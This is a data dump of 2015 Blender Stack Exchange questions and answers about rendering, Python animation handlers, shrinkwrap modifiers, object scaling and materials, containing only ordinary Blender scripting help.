  <row Id="36483" PostTypeId="2" ParentId="36477" CreationDate="2015-08-26T14:21:50.210" Score="9" Body="&lt;p&gt;Rendering (in Cycles) is the process of taking the 3-dimentional scene and calculating the light paths (called rays) bouncing through the scene to the camera.  The end result is a 2-dimentional picture of your scene, so you can't really rotate it and look around.  Just like you can't rotate and look around a photograph you took in real life.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/a/34229/5705&quot;&gt;my answer here&lt;/a&gt; for more on how Cycles works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to be able to move and look around your model in perfect real time Cycles would have to perform a separate render from every possible position and angle of the camera, which is impossible.  Here a few ways to view your rendered object from multiple angles.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1. Viewport rendering&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/a/36478/5705&quot;&gt;gladys pointed out&lt;/a&gt; you can enable viewport rendering.  This basically re-renders the entire viewport every time you move the view.  Viewport rendering is mainly just for viewing material tweaks and the like in real time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change the amount of samples used for viewport rendering in the properties panel under the &lt;em&gt;render&lt;/em&gt; tab &gt; &lt;em&gt;sampling&lt;/em&gt; rollout &gt; &lt;em&gt;samples&lt;/em&gt; &gt; &lt;em&gt;preview&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T9ybp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. Animating the object/camera&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For a final output to showcase your object you may want to create an animation of either the camera moving around the object or the object itself moving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Animation is done by setting &lt;em&gt;keyframes&lt;/em&gt;.  A keyframe tells Blender the state you want an object to be in at a particular frame, Blender will then interpolate the object smoothly between keyframes.  To set a keyframe go to the frame you want to keyframe and hit &lt;kbd&gt;I&lt;/kbd&gt; and choose the property you want to animate (i.e. location, rotation, scale, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try checking out &lt;a href=&quot;http://www.blenderguru.com/tutorials/turntable-animation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;3. Baking&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Baking is a way of saving what the surface of a rendered object looks like to an image texture which you can then apply to the object as a &lt;a href=&quot;https://blender.stackexchange.com/a/8110/5705&quot;&gt;shadeless shader&lt;/a&gt; to make the object look like it is rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I don't have the space here to even dip into the world of texture baking but you can check out &lt;a href=&quot;http://www.blenderguru.com/tutorials/introduction-baking-cycles/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; for starters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to consider about baking is that things like gloss and transparency/refraction do not bake well as they are dependent on the viewing angle.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-12-14T03:30:16.690" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36484" PostTypeId="2" ParentId="36474" CreationDate="2015-08-26T14:52:27.837" Score="3" Body="&lt;p&gt;You could simply negate the &lt;strong&gt;time property&lt;/strong&gt; (-1800 seconds) and parameter of &lt;code&gt;datetime.fromtimestamp(&lt;/code&gt;&lt;strong&gt;-&lt;/strong&gt;&lt;code&gt;textObject[&quot;time&quot;])&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yvdjl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yvdjl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge &#xA;from datetime import datetime&#xA;&#xA;textObject = bge.logic.getCurrentController().owner&#xA;if textObject[&quot;time&quot;] &amp;lt; 0:&#xA;    time = datetime.fromtimestamp(-textObject[&quot;time&quot;])&#xA;    textObject.text = '{:%M:%S}'.format(time)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2859" LastActivityDate="2015-08-26T14:52:27.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36485" PostTypeId="1" AcceptedAnswerId="36486" CreationDate="2015-08-26T15:54:51.047" Score="2" ViewCount="834" Body="&lt;p&gt;I have a BezierCurve which I'm using to create a camera animation. I've set up a maximum Y Limit to stop the action of the curve on the camera and have set an Influence value of 0.7 to slow down the effect of the change (from moving along the path to stopped):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JnFp1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JnFp1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to do is to completely stop the influence of the curve on the camera after a certain frame number. I've found I can do this by setting the Influence value to 1.0 (manually) but I need to animate this change. I can't seem to add a key frame, or a Driver on this setting so I'm trying to do it using Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After lots of Googling and cannibalising bits of code I've found without fully understanding it, this is the best I've been able to come up with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.app.handlers.frame_change_pre.clear()&#xA;&#xA;ob = bpy.data.curves[&quot;BezierCircle&quot;]&#xA; # Is there an animation?&#xA;if ob.animation_data is not None and ob.animation_data.action is not None:&#xA;    action = ob.animation_data.action&#xA;&#xA;&#xA;# every frame change, this function is called.&#xA;def my_handler(scene):&#xA;    frame = scene.frame_current&#xA;&#xA;    if frame&amp;lt;544:&#xA;        action.type.FModifier.influence = 0.7&#xA;    else:&#xA;        action.type.FModifier.influence = 1&#xA;&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but obviously it doesn't work, I get&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;AttributeError: 'Action' object has no attribute 'type'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just can't get the right syntax to target that FModifier on my curve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Blender API seems to suggest that I should be able to use&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.types.FModifier(influence) = 0.7&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or is it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.types.FModifier.influence. = 0.7&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then how do I target my BezierCircle ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated, I'm only slowly getting up to speed with Blender programming!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE with fixed code from answer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.app.handlers.frame_change_pre.clear()&#xA;&#xA;ob = bpy.data.curves[&quot;BezierCircle&quot;]&#xA;&#xA;&#xA;# debug - v2 iterates through modifiers until it find LIMITS&#xA;action = bpy.data.actions.get(&quot;BezierCircleAction&quot;)&#xA;&#xA;mods = [m for f in action.fcurves if f.data_path == 'eval_time' for m in f.modifiers if m.type == 'LIMITS']&#xA;&#xA;for m in mods:&#xA;    print(m.influence)&#xA;&#xA;# end debug&#xA;&#xA;&#xA;# every frame change, this function is called.&#xA;def my_handler(scene):&#xA;    frame = scene.frame_current&#xA;&#xA;    if frame&amp;lt;544:&#xA;        ob.animation_data.action.fcurves[0].modifiers[1].influence = 0.7&#xA;    else:&#xA;        ob.animation_data.action.fcurves[0].modifiers[1].influence = 1&#xA;&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16168" LastEditorUserId="16168" LastEditDate="2015-08-27T08:55:33.770" LastActivityDate="2015-08-27T10:15:32.540" Title="Using python to animate a curve FModifier" Tags="&lt;python&gt;&lt;animation&gt;&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36486" PostTypeId="2" ParentId="36485" CreationDate="2015-08-26T16:18:27.817" Score="3" Body="&lt;p&gt;You have to specify a particular animation channel (fcurve) and a specific modifier. In this example I access the first fcurve in the fcurve list (&lt;code&gt;[0]&lt;/code&gt;), which, because I animated the location of my object is the 'x' channel, and the first modifier (&lt;code&gt;[0]&lt;/code&gt;) found on that fcurve: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ob = bpy.data.objects['Cube']&#xA;ob.animation_data.action.fcurves[0].modifiers[0].influence = 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because you have two modifiers on your fcurve it will be &lt;code&gt;modifiers[1]&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good way to explore the Blender Python API is to use the 'autocomplete' feature of Blender's Python console, which allows you to type part of a command, and using the autocomplete feature, view all possible sub-modules (in green):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZPmnr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZPmnr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may not necessarily show you exactly which option you need, but will at least list the possible options, which you can further research.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether your current logic will do what you want, I don't know, but this does address what seemed to be the main point of your question.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2015-08-27T10:15:32.540" LastActivityDate="2015-08-27T10:15:32.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36488" PostTypeId="2" ParentId="36485" CreationDate="2015-08-26T17:03:18.783" Score="2" Body="&lt;p&gt;Adding to the previous answer, I often use something like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT.  Here is testing Overkill. Change the Name of the ob to match your BezierCircle&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;#bpy.app.handlers.frame_change_pre.clear()&#xA;'''&#xA;rather than clearing all the handlers you can remove any&#xA;that begin with &quot;my_&quot; as in &quot;my_handler&quot;&#xA;For instance if an addon is using a frame_change_pre handler you will remove&#xA;it too with a call to clear.&#xA;&#xA;'''&#xA;my_handlers = [h for h in bpy.app.handlers.frame_change_pre if h.__name__.startswith(&quot;my_&quot;)]&#xA;&#xA;for h in my_handlers:&#xA;    bpy.app.handlers.frame_change_pre.remove(h)&#xA;&#xA;'''&#xA;using get returns None if name doesn't exist&#xA;'''&#xA;ob = bpy.data.curves.get('BezierCircle')&#xA;&#xA;'''&#xA;using get attr to return none if action is None, animation_data is None or ob is None&#xA;'''&#xA;action = getattr(ob.animation_data, &quot;action&quot;, None) if ob else None&#xA;&#xA;&#xA;mods = [m for f in action.fcurves &#xA;        if f.data_path == 'eval_time'&#xA;        for m in f.modifiers&#xA;        if m.type == 'LIMITS'] if action else []&#xA;&#xA;def my_handler(scene):&#xA;    frame = scene.frame_current&#xA;    for m in mods:&#xA;        m.influence = 0.7 if frame &amp;lt; 544 else 1&#xA;&#xA;&#xA;bpy.app.handlers.frame_change_pre.append(my_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will work silently if the object or the action do not exist.  Prob better to only append the handler if len(mods): (ie there are limits mods)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even tho this appears to be overkill, I believe it pays to get into the habit of ironing out possible errors before they can happen. &lt;/p&gt;&#xA;" OwnerUserId="15543" LastEditorUserId="15543" LastEditDate="2015-08-27T09:47:12.150" LastActivityDate="2015-08-27T09:47:12.150" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36489" PostTypeId="1" CreationDate="2015-08-26T17:46:39.383" Score="1" ViewCount="255" Body="&lt;p&gt;I was wondering how to fade out an object and export it as an animation? I saw another question that said to add a keyframe at full alpha and another at 0, and that works for the most part. I'm trying to export it using the ogrexml plugin so I can use the animation in my game. I'm using blender 2.65&lt;/p&gt;&#xA;" OwnerUserId="16713" LastEditorUserId="599" LastEditDate="2015-08-26T18:25:07.013" LastActivityDate="2015-08-26T18:25:07.013" Title="Fade out object with alpha value" Tags="&lt;animation&gt;&lt;export&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36490" PostTypeId="2" ParentId="36477" CreationDate="2015-08-26T17:47:06.710" Score="1" Body="&lt;p&gt;When a scene is rendered, the viewport shifts from the 3D view (where you can rotate) to the UV/Image editor (where you can't rotate). Simply press &lt;kbd&gt;ESC&lt;/kbd&gt; to go back to the 3D view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or select the desired view in the bottom left menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rjA6t.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rjA6t.png&quot; alt=&quot;menu&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shifting to the 3D view will again view your 3D object editable, but not very pretty. So arrange the camera and lights to your liking and do another render.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2015-08-26T17:47:06.710" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36491" PostTypeId="1" CreationDate="2015-08-26T18:02:38.473" Score="1" ViewCount="592" Body="&lt;p&gt;I accidentally overwrote a blend file. I was making a small thing and instead of opening something else I saved new small unimportant file over one of my biggest projects. Can someone help me please?&lt;/p&gt;&#xA;" OwnerUserId="16618" LastEditorUserId="3401" LastEditDate="2015-08-26T18:07:01.473" LastActivityDate="2015-08-26T18:10:25.923" Title="Can I undo overwritten files?" Tags="&lt;blend-files&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-08-26T18:15:57.497" ContentLicense="CC BY-SA 3.0" />
  <row Id="36492" PostTypeId="2" ParentId="36491" CreationDate="2015-08-26T18:10:25.923" Score="0" Body="&lt;p&gt;I already know the awnser! You just go to files to open one. Then by the filters you check the one next to the blender logo. then you click the .blend1 version of your file. save it as the file how it was before and you're done!&lt;/p&gt;&#xA;" OwnerUserId="16618" LastActivityDate="2015-08-26T18:10:25.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36493" PostTypeId="1" AcceptedAnswerId="36499" CreationDate="2015-08-26T18:16:33.417" Score="9" ViewCount="11339" Body="&lt;p&gt;I have a sphere and two eyes. I want to shrinkwrap the eyes onto the sphere's surface cleanly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/D4tcx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D4tcx.png&quot; alt=&quot;sphere and two eyes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I know how to shrinkwrap ANYTHING is via the Shrinkwrap modifier, which crumples up the eyes when I try to stick them to the sphere, no matter how much I mess around with the settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sePUL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sePUL.png&quot; alt=&quot;undesired result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the correct way of doing this, while staying efficient on the vertex count? I don't want to end up subdividing the objects too much for such simple geometry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.blend file: &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/439/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=439&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2613" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-08-27T18:17:24.680" Title="How do I shrinkwrap an object to a curved surface cleanly and efficiently?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36494" PostTypeId="2" ParentId="31663" CreationDate="2015-08-26T18:33:03.500" Score="3" Body="&lt;p&gt;I do a lot of sound baking, and always bake at frame 1 then use the NLA editor to change start frame, simply and quickly.  You don't want to be baking large sound files again to move a frame to the left 8^).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are going to use the NLA, it  also pays to create an empty action (how you want it to be with silence) and add that to the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7gSX0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7gSX0.png&quot; alt=&quot;NLA Example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15543" LastActivityDate="2015-08-26T18:33:03.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36495" PostTypeId="2" ParentId="36493" CreationDate="2015-08-26T18:57:18.967" Score="3" Body="&lt;p&gt;First I apllied the rotation and scale on the eye object. Then I moved the solidify modifier to the bottom. So the shrinkwrap modifier is in the middle. I changed the mode to project and the Axis to Y (in the shrinkwrap modifier)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://[%3Cimg%20src=%22https://blend-exchange.giantcowfilms.com/embedImage.png?bid=441%22%20/%3E](https://blend-exchange.giantcowfilms.com/b/441/)&quot; rel=&quot;nofollow noreferrer&quot;&gt;blendfile&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WN7Yh.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WN7Yh.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-08-26T19:08:04.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36496" PostTypeId="2" ParentId="36339" CreationDate="2015-08-26T19:09:04.343" Score="3" Body="&lt;p&gt;To set a child's scale to a certain scale in world-space, you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix&#xA;&#xA;ob = bpy.context.object # child&#xA;&#xA;nmat = ob.matrix_world.normalized()&#xA;&#xA;target_scale = (2, 2, 2)&#xA;&#xA;smat = Matrix()&#xA;for i in range(3):&#xA;    smat[i][i] = target_scale[i]&#xA;&#xA;# note: order is important!&#xA;ob.matrix_world = nmat * smat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The change in scale will not affect the parent (or grand-parents) in any way. The child's children will do on the other hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change the scale of &lt;code&gt;child&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;code&gt;parent&lt;/code&gt;, traverse all the way up to the root object (which may be a grand-grand-...-parent) and change its scale:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix&#xA;&#xA;ob = bpy.context.object&#xA;while ob.parent:&#xA;    ob = ob.parent&#xA;print(&quot;Root object:&quot;, ob.name)&#xA;&#xA;ob.scale = (2, 2, 2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this will affect &lt;strong&gt;all children&lt;/strong&gt; of the root object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change scale of &lt;code&gt;root&lt;/code&gt; &lt;strong&gt;and&lt;/strong&gt; &lt;code&gt;child1&lt;/code&gt; &lt;strong&gt;only&lt;/strong&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     root&#xA;      /\&#xA;     /  \&#xA;    /    \&#xA;child1  child2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... then it's a bit trickier, because you need to change the scale of the objects you want to exclude (they are affected by root). Here's a script that can be configured to ~~~set the selected object to the given target scale~~~ (I think it actually changes objects proportionally to the local scale, and fails if non-uniform scaling is involved), while preserving object locations:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Matrix&#xA;&#xA;ob = bpy.context.object&#xA;start = ob&#xA;orig_scale = start.scale&#xA;target_scale = (2, 2, 2)&#xA;target_factor = tuple(map(lambda a, b: a / b, target_scale, orig_scale))&#xA;&#xA;visited = [start]&#xA;while ob.parent:&#xA;    ob = ob.parent&#xA;    visited.append(ob)&#xA;root = ob    &#xA;&#xA;orig_loc = {}&#xA;def store_loc_recursive(obs):&#xA;    for ob in obs:&#xA;        orig_loc[ob.name] = ob.matrix_world.to_translation()&#xA;        if ob.children:&#xA;            store_loc_recursive(ob.children)&#xA;store_loc_recursive(root.children)&#xA;&#xA;other = []&#xA;other.extend(start.children)&#xA;&#xA;for child in root.children:&#xA;    if child not in visited and child not in other:&#xA;        other.append(child)&#xA;&#xA;root.scale = tuple(map(lambda a,b: a * b, root.scale, target_factor))&#xA;&#xA;for ob in other:&#xA;    ob.scale = tuple(map(lambda a, b: a / b, ob.scale, target_factor))&#xA;&#xA;bpy.context.scene.update()&#xA;&#xA;def restore_loc_recursive(obs):&#xA;    for ob in obs:&#xA;        ob.matrix_world.translation = orig_loc[ob.name]&#xA;        if ob.children:&#xA;            restore_loc_recursive(ob.children)&#xA;restore_loc_recursive(root.children)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the &lt;code&gt;scale&lt;/code&gt; property of the selected object will not change. Thus, repetitive runs will grow all objects on the path from selected to root more and more. Nonetheless, the change in scale is correct - if you started at dimensions &lt;code&gt;(1,1,1)&lt;/code&gt; and set a target scale of &lt;code&gt;(2,2,2)&lt;/code&gt; in the script, then all objects from selected up to root will be doubled in size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A better approach might be to un-parent temporarily, apply scale changes, then re-parent. But I noticed that even Blender's built-in &lt;em&gt;Clear Parent (Keep Transform)&lt;/em&gt; fails to preserve non-uniformly scaled objects...&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-08-26T21:44:26.407" LastActivityDate="2015-08-26T21:44:26.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36497" PostTypeId="1" CreationDate="2015-08-26T19:28:08.250" Score="2" ViewCount="85" Body="&lt;p&gt;If this were sphere shapes for something like marbles I wouldn't mind, but I'm trying to do some grass. It all looks good while not converted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6LdjC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6LdjC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then I convert it and ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zqF2x.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zqF2x.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to avoid this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DPC&lt;/p&gt;&#xA;" OwnerUserId="15508" LastActivityDate="2016-11-19T20:08:25.477" Title="How to keep my particles from getting messed up once converted?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36499" PostTypeId="2" ParentId="36493" CreationDate="2015-08-26T19:33:59.283" Score="12" Body="&lt;p&gt;First you need to put Shrinkwrap modifier on the top of the modifiers stack.&lt;br&gt;&#xA;Then in Shrinkwrap modifier change Mode to &lt;strong&gt;Project&lt;/strong&gt; and in Direction enable &lt;strong&gt;Positive&lt;/strong&gt;.&lt;br&gt;&#xA;Then align the eye mesh tangentially to the surface of the sphere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DPTMG.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DPTMG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-08-27T18:17:24.680" LastActivityDate="2015-08-27T18:17:24.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36501" PostTypeId="2" ParentId="36444" CreationDate="2015-08-26T20:43:50.843" Score="4" Body="&lt;p&gt;To me your object doesn't seem like in the tutorial just because your &lt;strong&gt;Normals&lt;/strong&gt; are inverted, go to edit mode of your mesh and press &lt;kbd&gt;A&lt;/kbd&gt; couple of times until all your mesh is selected then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; To recalculate Normals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Also if this will still not be enough you might consider changing the Shading in the properties panel to metcap and setting it to a light color&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-08-26T20:43:50.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36503" PostTypeId="1" AcceptedAnswerId="36507" CreationDate="2015-08-26T23:06:35.920" Score="5" ViewCount="6813" Body="&lt;p&gt;I'm a newcomer to Blender and have created a scene in which I want to animate the disappearance of an object. I don't know if this is the 'right' way to do this, but I managed to get the desired effect by having a big block move over the object to be disappeared, and I added a boolean Difference modifier to the object to be disappeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This gets me the effect that I want, but I haven't been able to get my big block 100% transparent. It's almost, but not quite, entirely unlike a solid object, but it still casts a shadow and appears to have other visual effects on the animation that I don't fully understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone hand-hold me through creating an absolutely invisible material for my big block, or teach me the 'correct' way to accomplish my goals?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="16718" LastActivityDate="2018-05-01T10:08:12.567" Title="Making an Invisible Material in the Cycles render engine" Tags="&lt;cycles-render-engine&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36504" PostTypeId="2" ParentId="36503" CreationDate="2015-08-26T23:21:54.250" Score="0" Body="&lt;p&gt;I can only think of a work-around, in the materials tab (on the right) set the node to mix shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a transparent shader to each one. I'm presuming this works by making it at 50% of it's transparency, then adding a second one makes the transparency 0% &lt;/p&gt;&#xA;" OwnerUserId="11237" LastActivityDate="2015-08-26T23:21:54.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36505" PostTypeId="1" CreationDate="2015-08-26T23:56:52.643" Score="7" ViewCount="672" Body="&lt;p&gt;I am proficient in computers, but a relative noob to blender.  My video is H.264 with 1080p@60. I have loaded a video in and did the whole tracking system and collected the movement data.  I slowly panned left and right and up and down and have about 700 frames.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed a tutorial on stabilizing videos, but the exercise got me thinking.  If blender knows exactly how far frame 1 is off from frame 2,3,4, and etc it should be able to make an excellent panorama from it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You start with the 1st frame as your base.  Lets say the tracking data says your picture moved up 10 pixels and right 10 pixels.  So you take the top 10 (rows) pixels and right 10(columns) pixels and you add them to the top and right of frame 1 and do this for the rest of the 700 frames.  If it offers no new pixels ignore that frame.  Then you have a panorama.  It would be nice to be able to overlay certain frames if a few are blurry or otherwise defective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible, and of course how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was in the &lt;strong&gt;Node Editor&lt;/strong&gt; and linked the video and tracking data, but then what?&lt;/p&gt;&#xA;" OwnerUserId="16719" LastEditorDisplayName="user1853" LastEditDate="2015-08-28T16:17:31.687" LastActivityDate="2016-08-07T12:23:51.817" Title="Use tracking information from video to make a 2d panorama" Tags="&lt;video&gt;&lt;tracking&gt;" AnswerCount="3" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
